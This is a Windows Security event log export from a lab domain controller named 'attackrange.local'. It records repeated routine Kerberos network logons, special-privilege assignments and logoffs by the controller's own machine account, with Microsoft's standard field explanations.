-Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249099 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD21A3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64136 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249098 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD21A3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249097 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD213D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249096 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD213D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64135 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249095 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD213D - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249094 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD20DC - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249093 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD20DC - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64134 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249092 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD20DC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249115 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD2529 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249114 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD2529 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64141 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249113 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD2529 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249112 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD24B4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249111 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD24B4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64140 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249110 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD24B4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249109 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD2446 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249108 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD2446 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64139 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249107 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD2446 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249106 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD23D3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249105 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD23D3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64138 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249104 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD23D3 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249127 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD3E2C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249126 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD3E2C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64145 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249125 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD3E2C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249124 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD3DBB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249123 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD3DBB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64144 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249122 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD3DBB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249121 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xD3D35 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249120 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xD3D35 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64143 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 